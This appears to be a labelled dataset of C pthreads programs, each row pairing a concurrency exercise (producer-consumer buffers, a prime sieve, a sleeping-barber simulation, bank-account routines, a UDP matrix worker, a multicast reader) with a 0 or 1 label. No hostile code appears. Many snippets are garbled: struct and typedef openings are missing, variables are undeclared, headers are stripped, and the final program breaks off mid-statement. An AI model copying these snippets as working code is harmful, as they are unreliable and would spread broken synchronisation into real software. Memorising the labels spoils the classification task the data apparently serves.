text
stringlengths
192
6.24k
label
int64
0
1
#include <pthread.h> struct proc { struct proc *link; int buf[4]; int N; pthread_mutex_t mux; pthread_cond_t ok_to_write, ok_to_read; pthread_t thread; } *proc_init(struct proc *parent, void *(*routine)(void*)) { struct proc *cb = malloc(sizeof(struct proc)); assert(cb); cb->link = parent; cb->N = 0; pthread_mutex_init(&cb->mux, 0); pthread_cond_init(&cb->ok_to_read, 0); pthread_cond_init(&cb->ok_to_write, 0); if(routine) pthread_create(&cb->thread, 0, routine, cb); return cb; } void *enumerator(void *arg) { struct proc *cb = arg; int x = 2; int i = 0; do { pthread_mutex_lock(&cb->mux); while(cb->N == 4) { pthread_cond_wait(&cb->ok_to_write, &cb->mux); } cb->buf[i] = x++; ++cb->N; pthread_mutex_unlock(&cb->mux); i = (i+1)%4; pthread_cond_signal(&cb->ok_to_read); } while(1); } void *outputter(void *arg) { struct proc *cb = arg; int i = 0; do { pthread_mutex_lock(&cb->link->mux); while(cb->link->N == 0) { pthread_cond_wait(&cb->link->ok_to_read, &cb->link->mux); } int n = cb->link->buf[i]; --cb->link->N; pthread_mutex_unlock(&cb->link->mux); pthread_cond_signal(&cb->link->ok_to_write); i = (i+1)%4; printf("%d\\n", n); } while(1); } void *sifter(void *arg) { struct proc *cb = arg; struct proc *next = 0; int i = 0, j = 0; pthread_mutex_lock(&cb->link->mux); while(cb->link->N == 0) { pthread_cond_wait(&cb->link->ok_to_read, &cb->link->mux); } int p = cb->link->buf[0]; --cb->link->N; pthread_mutex_unlock(&cb->link->mux); pthread_cond_signal(&cb->link->ok_to_write); i = (i+1)%4; if(p >= 25000) exit(1); printf("%d\\n", p); do { int n; pthread_mutex_lock(&cb->link->mux); while(cb->link->N == 0) { pthread_cond_wait(&cb->link->ok_to_read, &cb->link->mux); } n = cb->link->buf[i]; --cb->link->N; pthread_mutex_unlock(&cb->link->mux); pthread_cond_signal(&cb->link->ok_to_write); if(n % p != 0) { pthread_mutex_lock(&cb->mux); while(cb->N == 4) { pthread_cond_wait(&cb->ok_to_write, &cb->mux); } cb->buf[j] = n; ++cb->N; pthread_mutex_unlock(&cb->mux); pthread_cond_signal(&cb->ok_to_read); j = (j+1)%4; if(!next) next = proc_init(cb, sifter); } i = (i+1)%4; } while(1); } int main(void) { struct proc *main = proc_init(0, 0); proc_init(main, sifter); enumerator(main); }
1
#include <pthread.h> pthread_mutex_t mutex; pthread_cond_t db_lleno; pthread_cond_t db_vacio; int concurrente_init() { int ret; ret = db_banco_init(); return ret; } int concurrente_destroy() { int ret; ret = db_banco_destroy(); return ret; } int concurrente_crear_cuenta(char *cuenta) { int ret; int size; void *st_int; int n_cuentas = concurrente_obtener_num_cuentas(); pthread_mutex_lock(&mutex); while(n_cuentas == 16) { pthread_cond_wait(&db_lleno, &mutex); } ret = db_banco_existe_cuenta(cuenta); if (ret == 0){ ret = db_banco_crear_cuenta(cuenta); if (ret == 0){ size = 0; st_int = 0; ret = db_banco_insertar_datos_internos(cuenta, st_int, size); } } if(n_cuentas == 16) { pthread_cond_signal(&db_vacio); } pthread_mutex_unlock(&mutex); return ret; } int concurrente_obtener_num_cuentas(int *num_cuentas) { int ret; int num_cuentas_aux = 0; ret = db_banco_obtener_num_cuentas(&num_cuentas_aux); *num_cuentas = num_cuentas_aux; return ret; } int concurrente_borrar_cuenta(char *cuenta) { int ret, size; void *st_int; pthread_mutex_lock(&mutex); while(n_cuentas == 0) { pthread_cond_wait(&vacio, &mutex); } ret = db_banco_borrar_cuenta(cuenta); if(ret == 0){ ret = db_banco_obtener_datos_internos(cuenta, &st_int, &size); if (ret == 0){ st_int = 0; size = 0; ret = db_banco_insertar_datos_internos(cuenta, st_int, size); } } if(n_cuentas == 16 - 1) { pthread_cond_signal(&lleno); } pthread_mutex_unlock(&mutex); return ret; } int concurrente_incrementar_saldo(char *cuenta, int saldo, int *saldo_actualizado) { int ret, size; void *st_int; int saldo_aux=0; ret = db_banco_obtener_datos_internos(cuenta, &st_int, &size); if (ret == 0){ ret = db_banco_obtener_saldo(cuenta, &saldo_aux); saldo_aux += saldo; ret = db_banco_actualizar_cuenta(cuenta, saldo_aux); *saldo_actualizado = saldo_aux; } return ret; } int concurrente_decrementar_saldo(char *cuenta, int saldo, int *saldo_actualizado) { int ret, size; void *st_int; int saldo_aux=0; ret = db_banco_obtener_datos_internos(cuenta, &st_int, &size); if (ret == 0){ ret = db_banco_obtener_saldo(cuenta, &saldo_aux); saldo_aux -= saldo; ret = db_banco_actualizar_cuenta(cuenta, saldo_aux); *saldo_actualizado = saldo_aux; } return ret; } int concurrente_obtener_saldo(char *cuenta, int *saldo) { int saldo_aux=0; int ret, size; void *st_int; ret = db_banco_obtener_datos_internos(cuenta, &st_int, &size); if (ret == 0){ ret = db_banco_obtener_saldo(cuenta, &saldo_aux); *saldo = saldo_aux; } return ret; }
0
#include <pthread.h> int buffer[5]; int in; int out; sem_t empty; sem_t full; pthread_mutex_t mutex; } t_sync; t_sync shared; void *Producer(void *arg) { int i, item, index; index = (intptr_t)arg; for(i = 0; i < 4; i++) { item = i; sem_wait(&shared.empty); pthread_mutex_lock(&shared.mutex); shared.buffer[shared.in] = item; shared.in = (shared.in + 1) % 5; printf("Producer %d is producing item %d..\\n", index, item); fflush(stdout); pthread_mutex_unlock(&shared.mutex); sem_post(&shared.full); if (i % 2 == 1) sleep(1); } } void *Consumer(void *arg) { int i, item, index; index = (intptr_t)arg; for(i = 4; i > 0; i--) { sem_wait(&shared.full); pthread_mutex_lock(&shared.mutex); item = shared.buffer[shared.out]; shared.out = (shared.out + 1) % 5; printf("Consumer %d is consuming item %d..\\n", index, item); fflush(stdout); pthread_mutex_unlock(&shared.mutex); sem_post(&shared.empty); if (i % 2 == 1) sleep(1); } } int main() { pthread_t producer_thread, consumer_thread; int index; sem_init(&shared.full, 0, 0); sem_init(&shared.empty, 0, 5); pthread_mutex_init(&shared.mutex, 0); for (index = 0; index < 3; index++) pthread_create(&producer_thread, 0, Producer, (void *)(intptr_t)index); for (index = 0; index < 3; index++) pthread_create(&consumer_thread, 0, Consumer, (void *)(intptr_t)index); pthread_exit(0); }
1
#include <pthread.h> pthread_mutex_t count_lock=PTHREAD_MUTEX_INITIALIZER; int count=0; void r1(char *fname, int x, char **bufp) { double temp; int local_count=0; int fd; for (local_count = 0; local_count < 1000; local_count++) { pthread_mutex_lock(&count_lock); temp = sqrt(x); fd = open(fname,O_CREAT | O_RDWR, 0666); count++; *bufp = (char *)malloc(256); pthread_mutex_unlock(&count_lock); sprintf(*bufp, "%d is the square root of %d", temp, x); write(fd, *bufp, strlen(*bufp)); close(fd); free(*bufp); } } void r2(char *fname, int x, char **bufp) { double temp; int i, reads; int start=0, end=1000; int fd; pthread_mutex_lock(&count_lock); for (i = start; i < end; i++) { fd = open(fname,O_CREAT | O_RDWR, 0666); x = x + count; temp = sqrt(x); if (temp == 1) count++; *bufp = (char *)malloc(256); read(fd, *bufp, 24); free(*bufp); close(fd); } pthread_mutex_unlock(&count_lock); } void *base(void *not_used) { int x = 10; char *buf; char fname[22]; sprintf(fname, ".%lX", (long) pthread_self()); r2(fname, x, &buf); unlink(fname); return(0); } extern int main(void) { pthread_t threads[5]; int i; for (i = 0; i < 5; i++) { pthread_create(&(threads[i]), 0, base, 0); } for (i = 0; i < 5; i++) { pthread_join(threads[i], 0); } return 0; }
0
#include <pthread.h> pthread_mutex_t barberReady, accessSeats; sem_t custReady; int freeSeats = 5; void* barber(void * arg){ while(1){ sem_wait(&custReady); pthread_mutex_lock(&accessSeats); freeSeats++; pthread_mutex_unlock(&barberReady); pthread_mutex_unlock(&accessSeats); printf("Barber is cutting hair\\n"); sleep(3); } } void* customer(void *arg){ pthread_mutex_lock(&accessSeats); if (freeSeats > 0){ freeSeats--; printf("Customer Id %d Just sat down. free seats are %d \\n", (int)pthread_self(), freeSeats); sem_post(&custReady); pthread_mutex_unlock(&accessSeats); pthread_mutex_lock(&barberReady); } else{ printf("Customer id %d just left the shop\\n", (int)pthread_self()); pthread_mutex_unlock(&accessSeats); } } int main(){ pthread_t b, c[10]; pthread_mutex_init(&barberReady,0); pthread_mutex_init(&accessSeats,0); sem_init(&custReady, 0, 0); pthread_create(&b, 0,barber,0); int i; for (i = 0; i < 10; ++i) { pthread_create(&c[i],0,customer,0); sleep(rand()%3); } pthread_join(b,0); for (i = 0; i < 10; ++i) { pthread_join(c[i],0); } printf("DONE\\n"); }
1
#include <pthread.h> int main(int argc, char const *argv[]) { int i; PORT = atoi(argv[1]); if ((s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))==-1){ printf("ERRO NA CRICAO DO SOCKET"); return 1; } if(configurarMestre()==1) return 1; printf("Escravo Inicializado\\n"); if(recvfrom(s, &LEN_MATRIZ, sizeof(int), 0, (struct sockaddr *) &mestre, &slen)==-1){ printf("ERRO AO RECEBER TAMANHO DA MATRIZ\\n"); return 1; } printf("[PACOTE RECEBIDO]: TAMANHO DA MATRIZ = %d\\n",LEN_MATRIZ); printf("[PACOTE RECEBIDO]: NECESSIDADE DE THREADS = %d\\n",LEN_MATRIZ); matriz_A = (alocar_matriz(LEN_MATRIZ,LEN_MATRIZ)); matriz_B = (alocar_matriz(LEN_MATRIZ,LEN_MATRIZ)); matriz_C = (alocar_matriz(LEN_MATRIZ,LEN_MATRIZ)); int matriz_aux[LEN_MATRIZ][LEN_MATRIZ]; printf("RECEBENDO DADOS DA 1ª MATRIZ\\n"); for (i = 0; i < LEN_MATRIZ; ++i) { if(recvfrom(s, &matriz_aux[i], sizeof(int)*LEN_MATRIZ, 0, (struct sockaddr *) &mestre, &slen)==-1){ printf("ERRO AO RECEBER DADO"); return 1; } } printf("[PACOTE RECEBIDO]: DADOS DA MATRIZ 1\\n"); printf("-------MATRIZ_A-------------\\n"); for (i = 0; i < matriz_A->qtd_linhas; ++i) { clona_matriz(matriz_A,matriz_aux[i],i); } imprime_matriz(matriz_A); printf("\\nRECEBENDO DADOS DA 2ª MATRIZ\\n"); for (i = 0; i < LEN_MATRIZ; ++i) { if(recvfrom(s, &matriz_aux[i], sizeof(int)*LEN_MATRIZ, 0, (struct sockaddr *) &mestre, &slen)==-1){ printf("ERRO AO RECEBER DADO"); return 1; } } printf("[PACOTE RECEBIDO]: DADOS DA MATRIZ 2\\n"); printf("\\n-------MATRIZ_B-------------\\n"); for (i = 0; i < matriz_B->qtd_linhas; ++i) { clona_matriz(matriz_B,matriz_aux[i],i); } imprime_matriz(matriz_B); printf("\\n"); pthread_t tid[LEN_MATRIZ]; pthread_mutex_init(&mutex, 0); for(i=0;i<LEN_MATRIZ;i++) pthread_create(&tid[i], 0, multiplicaMatriz, (void *)(size_t) i); for(i=0;i<LEN_MATRIZ;i++) pthread_join(tid[i], 0); for (int i = 0; i < matriz_C->qtd_linhas; ++i) { sendto(s, matriz_C->dados[i], sizeof(int)*LEN_MATRIZ, 0, (struct sockaddr *)&mestre, slen); } return 0; } int configurarMestre(){ memset((char*) &mestre, 0, sizeof(mestre)); mestre.sin_family = AF_INET; mestre.sin_port = htons(PORT); mestre.sin_addr.s_addr = htonl(INADDR_ANY); if(bind(s, (struct sockaddr *) &mestre, sizeof(mestre))==-1){ printf("ERRO NO BINDING"); return 1; } return 0; } void* multiplicaMatriz(void *p){ int linhas, colunas; int i,j,aux,somaprod; i = (int)(size_t)p; printf("\\ninicio da thread %d\\n", i); linhas = matriz_A->qtd_linhas; colunas = matriz_A->qtd_colunas; pthread_mutex_lock(&mutex); for(j=0;j<colunas;++j){ somaprod=0; for(aux=0;aux<linhas;aux++) somaprod+=matriz_A->dados[i][aux]*matriz_B->dados[aux][j]; matriz_C->dados[i][j]=somaprod; } printf("\\n------Resultado------\\n"); for (j = 0; j < LEN_MATRIZ; ++j) { printf("%d\\t",matriz_C->dados[i][j]); } printf("\\nthread %d finalizada\\n",i); pthread_mutex_unlock(&mutex); pthread_exit(0); }
0
#include <pthread.h> int buffer[20]; int fill_ptr = 0; int use_ptr = 0; int count = 0; void put(int value) { buffer[fill_ptr] = value; fill_ptr = (fill_ptr + 1) % 20; count++; } int get() { int tmp = buffer[use_ptr]; use_ptr = (use_ptr + 1) % 20; count--; return tmp; } sem_t sem; pthread_mutex_t mutex; }Pthread_cond_t; Pthread_cond_t empty; Pthread_cond_t fill; pthread_mutex_t mutex; const int loops = 100; int Pthread_cond_wait(Pthread_cond_t *cond, pthread_mutex_t *mutex) { pthread_mutex_unlock(mutex); int temp = sem_wait(&(cond->sem)); pthread_mutex_lock(mutex); return temp; } int Pthread_cond_signal(Pthread_cond_t *cond) { int temp = sem_post(&(cond->sem)); return temp; } int Pthread_cond_init(Pthread_cond_t *cond, const pthread_condattr_t *attr) { int temp = sem_init(&(cond->sem), 0, 0); pthread_mutex_init(&mutex, 0); return temp; } void *producer(void * arg) { int i; for (i = 0; i < loops; i++) { pthread_mutex_lock(&mutex); while (count == 20) Pthread_cond_wait(&empty, &mutex); put(i); Pthread_cond_signal(&fill); pthread_mutex_unlock(&mutex); } } void * consumer(void * arg) { int i; for (i = 0; i < loops; i++) { pthread_mutex_lock(&mutex); while (count == 0) Pthread_cond_wait(&fill, &mutex); int tmp = get(); Pthread_cond_signal(&empty); pthread_mutex_unlock(&mutex); printf("%d\\n", tmp); } } int test = 0; int numReaders = 0; int numWriters = 0; Pthread_cond_t notReading; Pthread_cond_t notWriting; void *reader() { for (int i = 0; i < loops; i++) { pthread_mutex_lock(&mutex); while (numWriters > 0) { Pthread_cond_wait(&notWriting, &mutex); } numReaders++; pthread_mutex_unlock(&mutex); printf("Reader\\n"); pthread_mutex_lock(&mutex); numReaders--; Pthread_cond_signal(&notReading); pthread_mutex_unlock(&mutex); } } void *writer() { for (int i = 0; i < loops; i++) { pthread_mutex_lock(&mutex); while (numReaders > 0 || numWriters > 0) { if (numReaders > 0) { Pthread_cond_wait(&notReading, &mutex); } if (numWriters > 0) { Pthread_cond_wait(&notWriting, &mutex); } } numWriters++; pthread_mutex_unlock(&mutex); printf("Writer\\n"); pthread_mutex_lock(&mutex); numWriters--; Pthread_cond_signal(&notWriting); pthread_mutex_unlock(&mutex); } } int main() { Pthread_cond_init(&empty, 0); Pthread_cond_init(&fill, 0); Pthread_cond_init(&notReading, 0); Pthread_cond_init(&notWriting, 0); int p; pthread_t p1, p2, p3, p4, p5, p6, p7, p8; p = pthread_create(&p1, 0, writer, 0); p = pthread_create(&p2, 0, reader, 0); p = pthread_create(&p3, 0, writer, 0); p = pthread_create(&p4, 0, reader, 0); p = pthread_create(&p5, 0, writer, 0); p = pthread_create(&p6, 0, reader, 0); p = pthread_create(&p7, 0, writer, 0); p = pthread_create(&p8, 0, reader, 0); p = pthread_join(p1, 0); p = pthread_join(p2, 0); p = pthread_join(p3, 0); p = pthread_join(p4, 0); p = pthread_join(p5, 0); p = pthread_join(p6, 0); p = pthread_join(p7, 0); p = pthread_join(p8, 0); return 0; }
1
#include <pthread.h> int nitems; int buff[ 100000]; struct{ pthread_mutex_t mutex; int nput; int nval; } put = { PTHREAD_MUTEX_INITIALIZER }; struct{ pthread_mutex_t mutex; pthread_cond_t cond; int nready; } nready = { PTHREAD_MUTEX_INITIALIZER, PTHREAD_COND_INITIALIZER }; void *produce( void*), *consume( void*); int main( int argc, char** argv) { int i, nthreads, count[ 100]; pthread_t tid_produce[ 100], tid_consume; nitems = (atoi( argv[1]) > 100000? 100000: atoi( argv[1])); nthreads = (atoi( argv[2]) > 100? 100: atoi( argv[2])); pthread_setconcurrency( nthreads + 1); for ( int i = 0; i < nthreads; i++){ count[i] = 0; pthread_create( &tid_produce[i], 0, &produce, &count[i]); } pthread_create( &tid_consume, 0, &consume, 0); for ( int i = 0; i < nthreads; i++){ pthread_join( tid_produce[i], 0); printf("count[ %d] = %d\\n", i, count[i]); } pthread_join( tid_consume, 0); return 0; } void * produce( void *arg) { while( 1){ pthread_mutex_lock( &put.mutex); if( put.nput >= nitems){ pthread_mutex_unlock( &put.mutex); return 0; } buff[ put.nput] = put.nval; put.nput++; put.nval++; pthread_mutex_unlock( &put.mutex); pthread_mutex_lock( &nready.mutex); if( nready.nready == 0) pthread_cond_signal( &nready.cond); nready.nready++; pthread_mutex_unlock( &nready.mutex); *((int *) arg) += 1; } } void * consume( void *arg) { for( int i = 0; i < nitems; i++){ pthread_mutex_lock( &nready.mutex); while( nready.nready == 0) pthread_cond_wait( &nready.cond, &nready.mutex); nready.nready--; pthread_mutex_unlock( &nready.mutex); if( buff[i] != i) printf( "buff[%d] = %d\\n", i, buff[i]); } return 0; }
0
#include <pthread.h> static struct scap_tasks * scap_tasks = 0; void scapassess_process_init() { assert ( scap_tasks == 0 ); scap_tasks = rscap_alloc(sizeof ( *scap_tasks )); scap_tasks->tasks = 0; scap_tasks->task_id_counter = 1; pthread_mutex_init(&scap_tasks->mx, 0); } struct scap_task * scap_task_new(const char * path, const char * dir) { struct scap_task * ret = rscap_zalloc(sizeof(*ret)); pthread_mutex_lock(&scap_tasks->mx); ret->path = rscap_strdup(path); ret->dir = rscap_strdup(dir); ret->task_id = scap_tasks->task_id_counter++; ret->next = scap_tasks->tasks; pthread_mutex_init(&ret->mx, 0); scap_tasks->tasks = ret; pthread_mutex_unlock(&scap_tasks->mx); return ret; } static void * _scapassess_job_cleaner(void * arg) { struct rscap_hash * cfg = (struct rscap_hash*)arg; const char * user, * group; user = rscap_config_get(cfg, "ScapComm.RunAsUser"); group = rscap_config_get(cfg, "ScapComm.RunAsGroup"); if ( group == 0 ) group = user; for ( ;; ) { struct scap_task * task; struct scap_task * prev = 0; sleep(15); pthread_mutex_lock(&scap_tasks->mx); task = scap_tasks->tasks; while ( task != 0 ) { pthread_mutex_lock(&task->mx); if ( task->finished != 0 ) { char * qpath; void * unused; struct scap_task * next; pthread_join(task->thread, &unused); qpath = rscap_mk_path(RSCAP_RESULTS_DIR, task->dir, 0); if ( rscap_rename_dir(task->path, qpath) < 0 ) { rscap_log("Could not rename %s to %s -- %s\\n", task->path, qpath, rscap_strerror()); rscap_recursive_rmdir(task->path); } if ( rscap_chown_dir(qpath, user, group) < 0 ) { rscap_log("Could not chown %s to %s:%s - %s\\n", qpath, user, group, rscap_strerror()); rscap_recursive_rmdir(qpath); } rscap_free(qpath); rscap_free(task->path); rscap_free(task->dir); if ( prev != 0 ) prev->next = task->next; else scap_tasks->tasks = task->next; pthread_mutex_unlock(&task->mx); pthread_mutex_destroy(&task->mx); next = task->next; rscap_free(task); task = next; } else { pthread_mutex_unlock(&task->mx); task = task->next; } } pthread_mutex_unlock(&scap_tasks->mx); } return 0; } void scapassess_job_cleaner(struct rscap_hash * cfg) { pthread_t thr; void * arg = (void*)cfg; pthread_create(&thr, 0, _scapassess_job_cleaner, arg); pthread_detach(thr); } int scapassess_job_count() { struct scap_task * task; int cnt = 0; pthread_mutex_lock(&scap_tasks->mx); task = scap_tasks->tasks; while (task != 0) { cnt ++; task = task->next; } pthread_mutex_unlock(&scap_tasks->mx); return cnt; } int scapassess_process_entry(const char * cmd, struct rscap_signature_cfg * sig_cfg, const char * directory, const char * path) { char * qpath = 0; char * rpath = 0; char * entry = 0; struct scap_task * task; if ( directory == 0 || path == 0 ) return -1; rscap_log("Received new job -- %s\\n", path); qpath = rscap_mk_path(directory, path, 0); rpath = rscap_mk_path(RSCAP_RUNNING_DIR, path, 0); if ( rscap_rename_dir(qpath, rpath) < 0 ) { rscap_log("Could not rename %s to %s -- %s\\n", qpath, rpath, rscap_strerror()); goto err; } entry = rscap_mk_path(RSCAP_RUNNING_DIR, path, "profile", 0); if ( rscap_file_readable(entry) ) { rscap_log("%s is an invalid scan job (%s does not exist) -- deleting it", path, entry); rscap_recursive_rmdir(rpath); goto err; } rscap_free(entry); entry = rscap_mk_path(RSCAP_RUNNING_DIR, path, "xccdf.tgz", 0); if ( rscap_file_readable(entry) ) { rscap_log("%s is an invalid scan job (%s does not exist) -- deleting it", path, entry); rscap_free(entry); rscap_recursive_rmdir(rpath); goto err; } rscap_free(entry); entry = 0; task = scap_task_new(rpath, path); task->sig_cfg = sig_cfg; task->cmd = cmd; scapassess_eval_xccdf(task); if ( qpath != 0 ) rscap_free(qpath); if ( rpath != 0 ) rscap_free(rpath); return 0; err: if ( qpath != 0 ) rscap_free(qpath); if ( rpath != 0 ) rscap_free(rpath); if ( entry != 0 ) rscap_free(entry); return -1; }
1
#include <pthread.h> int MAX = 20001; int p_sleep; int c_sleep; int producer_count; int consumer_count; int item_p; int item_c; bool isproducersleeping = 0; bool isconsumersleeping = 0; pthread_mutex_t lock; pthread_cond_t cond_consume; pthread_cond_t cond_produce; struct Queue { int front, rear, size; unsigned capacity; int* array; }; struct Queue* createQueue(unsigned capacity) { struct Queue* queue = (struct Queue*) malloc(sizeof(struct Queue)); queue->capacity = capacity; queue->front = queue->size = 0; queue->rear = capacity - 1; queue->array = (int*) malloc(queue->capacity * sizeof(int)); return queue; } int isFull(struct Queue* queue) { return (queue->size == queue->capacity); } int isEmpty(struct Queue* queue) { return (queue->size == 0); } void enqueue(struct Queue* queue, int item) { if (isFull(queue)) return; queue->rear = (queue->rear + 1)%queue->capacity; queue->array[queue->rear] = item; queue->size = queue->size + 1; } int dequeue(struct Queue* queue) { if (isEmpty(queue)) return 0; int item = queue->array[queue->front]; queue->front = (queue->front + 1)%queue->capacity; queue->size = queue->size - 1; return item; } void* produce(void *gvar) { struct Queue *q; q = (struct Queue *)gvar; while(producer_count<MAX) { pthread_mutex_lock(&lock); while(isFull(q) == 1) { pthread_cond_wait(&cond_consume, &lock); if(!isproducersleeping){ isproducersleeping=1; p_sleep++; } } enqueue(q,producer_count); printf("Produced something. %d\\n",producer_count); producer_count++; isproducersleeping=0; pthread_mutex_unlock(&lock); pthread_cond_signal(&cond_consume); usleep(50000); } pthread_exit(0); } void* consume(void *gvar) { struct Queue *q; q = (struct Queue *)gvar; while(consumer_count<MAX){ pthread_mutex_lock(&lock); while(isEmpty(q) == 1){ pthread_cond_wait(&cond_produce, &lock); if(!isconsumersleeping){ isconsumersleeping=1; c_sleep++; } } int output = dequeue(q); printf("Consumed item: %d \\n",output); if((output)==(MAX-1)){ printf("Total sleeps: Prod = %d Cons = %d \\n",p_sleep,c_sleep); exit(0); } consumer_count++; isconsumersleeping=0; pthread_mutex_unlock(&lock); pthread_cond_signal(&cond_produce); usleep(50000); } pthread_exit(0); } int main() { struct Queue* q = createQueue(40); c_sleep = 0; p_sleep = 0; producer_count = 0; consumer_count = 0; item_p = 0; item_c = 0; while(1){ pthread_mutex_init(&lock, 0); pthread_cond_init(&cond_consume, 0); pthread_cond_init(&cond_produce, 0); pthread_t producers1, producers2; pthread_t consumers1, consumers2; pthread_create(&producers1, 0, produce, q); pthread_create(&producers2, 0, produce, q); pthread_create(&consumers1, 0, consume, q); pthread_create(&consumers2, 0, consume, q); } pthread_mutex_destroy(&lock); pthread_cond_destroy(&cond_consume); pthread_cond_destroy(&cond_produce); return 0; }
0
#include <pthread.h> struct queue_context { int head; int tail; int cap; struct queue_message* message; int threshold; int overload; }; struct message_queue { struct queue_context queue[2]; pthread_mutex_t lock; int reader; int writer; }; struct message_queue* queue_create() { struct message_queue* mq_ctx = malloc(sizeof(*mq_ctx)); int i; for(i = 0;i < 2;i++) { struct queue_context* q = &mq_ctx->queue[i]; q->tail = q->head = 0; q->cap = 8; q->threshold = 1024; q->overload = 0; q->message = malloc(sizeof(*q->message) * q->cap); memset(q->message,0,sizeof(*q->message) * q->cap); } mq_ctx->reader = 0; mq_ctx->writer = 1; pthread_mutex_init(&mq_ctx->lock, 0); return mq_ctx; } void queue_free(struct message_queue* mq) { free(mq->queue[0].message); free(mq->queue[1].message); pthread_mutex_destroy(&mq->lock); free(mq); } int queue_length(struct queue_context *q) { int head, tail,cap; head = q->head; tail = q->tail; cap = q->cap; if (head <= tail) { return tail - head; } return tail + cap - head; } void queue_push(struct message_queue* mq,struct queue_message* message) { pthread_mutex_lock(&mq->lock); assert(mq->writer != mq->reader); struct queue_context* q = &mq->queue[mq->writer]; q->message[q->tail] = *message; if (++q->tail >= q->cap) q->tail = 0; if (q->head == q->tail) { struct queue_message* nmesasge = malloc(sizeof(*nmesasge) * q->cap * 2); int i; for(i = 0;i < q->cap;i++) { nmesasge[i] = q->message[(q->head + i)%q->cap]; } q->head = 0; q->tail = q->cap; q->cap *= 2; free(q->message); q->message = nmesasge; } if (queue_length(q) >= q->threshold) { q->threshold = q->threshold * 2; q->overload = 1; } pthread_mutex_unlock(&mq->lock); } struct queue_message* queue_pop(struct message_queue* mq,int ud) { struct queue_context* queue = &mq->queue[mq->reader]; if (queue->overload == 1) { queue->overload = 0; fprintf(stderr,"ctx:[%d] reader queue overload:%d\\n",ud,queue_length(queue)); } if (queue->head != queue->tail) { struct queue_message* message = &queue->message[queue->head++]; if (queue->head >= queue->cap) { queue->head = 0; } return message; } pthread_mutex_lock(&mq->lock); ++mq->writer; ++mq->reader; mq->writer = mq->writer % 2; mq->reader = mq->reader % 2; pthread_mutex_unlock(&mq->lock); queue = &mq->queue[mq->reader]; if (queue->head != queue->tail) { struct queue_message* message = &queue->message[queue->head++]; if (queue->head >= queue->cap) { queue->head = 0; } return message; } return 0; }
1
#include <pthread.h> pthread_spinlock_t lock; pthread_mutex_t mutex; void echo_input() { char ch; ch = getchar(); fflush( stdin ); while( getchar() != '\\n' ); printf( "You typed: %c\\n", ch ); } void *input_with_spinlock( void *data ) { pthread_spin_lock( &lock ); echo_input(); pthread_spin_unlock( &lock ); } void *input_with_mutex( void *data ) { pthread_mutex_lock( &mutex ); echo_input(); pthread_mutex_unlock( &mutex ); } int main() { pthread_t t1, t2; pthread_spin_init( &lock, PTHREAD_PROCESS_PRIVATE ); pthread_mutex_init( &mutex, 0 ); printf( "==== Using a spinlock ====\\n" ); pthread_create( &t1, 0, (void * (*)( void * )) input_with_spinlock, 0 ); pthread_create( &t2, 0, (void * (*)( void * )) input_with_spinlock, 0 ); pthread_join( t1, 0 ); pthread_join( t2, 0 ); printf( "==== Using a mutex ====\\n" ); pthread_create( &t1, 0, (void * (*)( void * )) input_with_mutex, 0 ); pthread_create( &t2, 0, (void * (*)( void * )) input_with_mutex, 0 ); pthread_join( t1, 0 ); pthread_join( t2, 0 ); pthread_spin_destroy( &lock ); pthread_mutex_destroy( &mutex ); return 0; }
0
#include <pthread.h> pthread_mutex_t mutex_print = PTHREAD_MUTEX_INITIALIZER; void print_time_error(void) { char buffer[30]; time_t current_time; struct tm *time_struct; current_time = time(0); time_struct = localtime(&current_time); if (time_struct == 0) { return; } strftime(buffer, sizeof(buffer), "%F %T", time_struct); fprintf(stderr, "[%s] ", buffer); } void print_error(const char* message) { if(!1) { return; } pthread_mutex_lock(&mutex_print); print_time_error(); if(errno != 0) { perror(message); errno = 0; } else { fprintf(stderr, "%s\\n", message); } pthread_mutex_unlock(&mutex_print); } void fprintf_error(const char *format, ...) { if(!1) { return; } pthread_mutex_lock(&mutex_print); print_time_error(); va_list arguments; __builtin_va_start((arguments)); vfprintf(stderr, format, arguments); ; pthread_mutex_unlock(&mutex_print); }
1
#include <pthread.h> pthread_t pGIDSMulticastReader; void fnStartGIDS( void ) { pthread_attr_t paGIDSMulticastReader; pthread_attr_init( &paGIDSMulticastReader); pthread_attr_setdetachstate( &paGIDSMulticastReader, PTHREAD_CREATE_DETACHED ); pthread_create( &pGIDSMulticastReader, &paGIDSMulticastReader, (void *)fnGIDSMulticastReader, 0 ); fnDebug( "GIDS Message Parser Thread Initialized" ); } void fnShutdownGIDS( void ) { pthread_cancel( pGIDSMulticastReader ); fnDebug( "GIDS reader functions shut down" ); } void *fnGIDSMulticastReader( void ) { int sock; struct sockaddr_in name; int recvStringLen; struct ip_mreq imr; char byBuffer[MULTICAST_BUFFER_SIZE]; char szBuffer[MULTICAST_BUFFER_SIZE]; char szIP[4096]; char szPort[4096]; char szInterface[4096]; char *interface = 0; short int n, c; char *msg; int err=0; u_long groupaddr = 0xe0027fff; u_short groupport = 9876; pthread_mutex_lock( &config_mutex ); memset( szIP, 0, sizeof(szIP) ); fnGetConfigSetting( szIP, "GIDSMULTICASTSERVER ", "224.3.0.26"); groupaddr = inet_addr( szIP ); memset( szPort, 0, sizeof(szPort) ); fnGetConfigSetting( szPort, "GIDSMULTICASTPORT", "55368" ); groupport = (u_short)atoi(szPort); memset( szInterface, 0, sizeof(szInterface) ); fnGetConfigSetting( szInterface, "GIDSINTERFACE", "10.210.105.37"); interface=szInterface; pthread_mutex_unlock( &config_mutex ); if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) fnHandleError( "fnGIDSMulticastReader", "socket() failed"); else fnDebug( "GIDS Create socket success" ); imr.imr_multiaddr.s_addr = groupaddr; imr.imr_multiaddr.s_addr = htonl(imr.imr_multiaddr.s_addr); if (interface!=0) imr.imr_interface.s_addr = inet_addr(interface); else imr.imr_interface.s_addr = htonl(INADDR_ANY); imr.imr_interface.s_addr = htonl(imr.imr_interface.s_addr); if (setsockopt(sock, IPPROTO_IP, IP_ADD_MEMBERSHIP, &imr, sizeof(struct ip_mreq)) < 0 ) fnHandleError( "fnGIDSMulticastReader", "setsockopt - IP_ADD_MEMBERSHIP"); else fnDebug( "GIDS Set socket options success" ); name.sin_family = AF_INET; name.sin_addr.s_addr = htonl(groupaddr); name.sin_port = htons(groupport); if (bind(sock, (struct sockaddr *)&name, sizeof(name))) { err = errno; snprintf( szBuffer, sizeof(szBuffer), "GIDS bind failed with errno: %i. Terminating thread", err ); fnHandleError( "fnGIDSMulticastReader", szBuffer ); close( sock ); pthread_exit( 0 ); } else fnDebug( "GIDS Bind socket success" ); fnDebug( "GIDS Reader Thread Initialized - reading data" ); while ( TRUE ) { if ((recvStringLen = 